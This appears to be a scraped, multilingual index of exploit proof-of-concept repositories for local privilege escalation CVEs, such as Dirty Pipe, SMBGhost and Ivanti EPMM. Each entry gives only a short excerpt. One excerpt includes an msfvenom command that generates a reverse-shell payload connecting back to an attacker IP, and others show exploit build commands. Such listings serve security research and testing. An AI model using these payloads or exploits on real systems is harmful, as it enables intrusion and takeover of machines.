CVE-2023-36802-MSKSSRV-LPE

CVE-2023-36802 MSKSSRV.sys Локальное повышение привилегий PoC для CVE-2023-36802 Microsoft Kernel Streaming Service Proxy, который страдает от уязвимости путаницы типов. Этот proof-of-concept создан по мотивам статьи Benoît Sevens @benoitsevens. Статью можно найти здесь:...

CVE-2024-22026

CVE-2024-22026 影响 Ivanti EPMM "MobileIron Core" 的 CVE-2024-22026 漏洞利用 POC CVE-2024-22026 是 Ivanti EPMM（原 MobileIron）服务器版本 12.1.0.0、12.0.0.0 和 11.12.0.1 之前的一个本地权限提升漏洞。该漏洞允许本地攻击者通过利用软件更新过程，从远程 URL 安装恶意 RPM 包，从而获得系统的 root 访问权限。 阅读完整博文以获取详细技术信息：利用 CVE-2024-22026：获取 Ivanti EPMM（MobileIron Core）的 root ...

NimNightmare

CVE-2021-1675 LPE PoC не мой эксплойт! просто хотел поиграться с библиотекой winim на nim. Использование Сгенерируйте DLL-полезную нагрузку с помощью msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, затем запустите обработчик на вашей атакующей машине. Н...

CVE-2021-42292

CVE-2021-42292 Этот пакет позволяет обнаруживать эксплойты CVE-2021-42292, уязвимости локального повышения привилегий в Microsoft Excel, и генерировать уведомление в notice.log. https://corelight.com/blog/detecting-cve-2021-42292 Метод обнаружения: Этот пакет обнаруживает уязвимость, когда...

CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging

CVE-2023-32428-une-macOS-LPE-via-MallocStackLogging...

CVE-2021-33739-POC

CVE-2021-26868 LPE & CVE-2021-33739 POC...

CVE-2017-0213

CVE-2017-0213: Windows COM の特権昇格の脆弱性 説明 作者: Google Security Research CVE: 2017-0213 EDB-ID: 42020 参考文献: Project-Zero Microsoft Exploit-Database 動画: Youtube 影響を受ける製品 製品| バージョン| 更新プログラム| ビルド| テスト済み ---|---|---|---|--- Windows 10| 1511| | 10586| √ Windows 10| 1607| | 14393| √ Windows 10| 1703| |...

SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module Ceci est une implémentation de la vulnérabilité CVE-2020-0796 alias SMBGhost, compatible avec Metasploit Framework Notes : Ce module est conçu pour être utilisé lorsque vous avez un shell valide afin d'élever vos privilèges. Vous pouvez modifier la charge utile...

kasld

KASLD recovers the Linux kernel's virtual and physical memory layout — primarily the kernel text base — from a local process, using as much as the process's vantage allows: its privileges and capabilities, the system's configuration, and any container confinement. It recovers the kernel text base...

CVE-2026-49176_LPE_POC

CVE-2026-49176 SYSTEM Shell PoC Local privilege-escalation proof of concept for the Windows WalletService vulnerability fixed in July 2026. Technical write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM. A standard user creates a Wallet ESE database containing a persisted callbac...

copy-fail-python

copy-fail-python A compact, zero-dependency Python proof-of-concept for Copy Fail CVE-2026-31431, a Linux kernel local privilege escalation through AFALG and splice that corrupts the page cache of a readable file such as /usr/bin/su. This is a port of the Theori PoC with two practical changes: th...

CVE-2019-11932

CVE-2019-11932 Адрес system и гаджет должны быть заменены на реальный адрес, найденный с помощью уязвимости раскрытия информации. После замены адреса system и гаджета. Выполните код для создания вредоносного GIF-файла: root@kitploit: notroot@osboxes:/Desktop/gif$ make...

CVE-2022-0847

CVE-2022-0847 Dirty Pipe linux 커널 권한 상승 분석 toc 이 글은 화웨이 보안 공식 계정에 먼저 게재되었으며, 이쪽은 블로그 버전비교적 완전함입니다. 최초 게재 링크: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg 취약점 개요 취약점 번호: CVE-2022-0847 별칭: 더티 파이프 dirty pipe 취약점 제품: linux kernel - splice syscall 영향 버전: linux 5.8 패치 f6dd975583bd에서 도입, 5.16.11,...

CVE-2024-2432-PaloAlto-GlobalProtect-EoP

CVE-2024-2432 Palo Alto GlobalProtect EoP В системе Windows было обнаружено, что GlobalProtect версии приложения 6.1.1-5 и 6.2.0-89 был уязвим для произвольного удаления файлов с повышенными привилегиями через атаку символической ссылки, что приводит к локальному повышению привилегий на локальной...

CVE-2022-3368

CVE-2022-3368 Preuve de concept PoC pour une vulnérabilité de déplacement arbitraire de fichiers dans le composant de mise à jour logicielle d'Avira Security. Les utilisateurs ont la possibilité d'utiliser cette fonctionnalité pour mettre à jour tout logiciel obsolète sur leur PC. Lorsque cette...

cve-2023-21768-compiled

cve-2023-21768-compiled-version Протестировано на windows22H2 22621.963. Код из: https://github.com/xforcered/WindowsLPEAFDCVE-2023-21768...

CVE-2025-6019

CVE-2025-6019 Доказательство концепции PoC Этот репозиторий содержит скрипт доказательства концепции PoC для CVE-2025-6019 , уязвимости локального повышения привилегий LPE в libblockdev и udisks. Скрипт создает образ файловой системы XFS с бинарным файлом bash с установленным SUID и эксплуатирует...

CVE-2019-0803

CVE-2019-0803 Win32k Élévation de privilège PoC Capture d'écran Référence voler le jeton de sécurité https://github.com/mwrlabs/CVE-2016-7255...

CVE-2023-0386

README root@kitploit: gcc -Wall exp.c pkg-config fuse --cflags --libs -o exp ./exp /tmp Анализ уязвимости Теоретические знания пространства имён, overlay-файловая система, FUSE-файловая система и т.д. в этой статье взяты из ChatGPT. Введение в уязвимость Идентификатор уязвимости: CVE-2023-0386...

CVE-2023-0179-PoC

Exploit Needle CVE-2023-0179 Ce dépôt contient l'exploit de la vulnérabilité que j'ai récemment découverte dans le sous-système nftables, qui a été assignée sous CVE-2023-0179, affectant toutes les versions de Linux de 5.5 à 6.2-rc3, bien que l'exploit ait été testé sur la version 6.1.6. Les...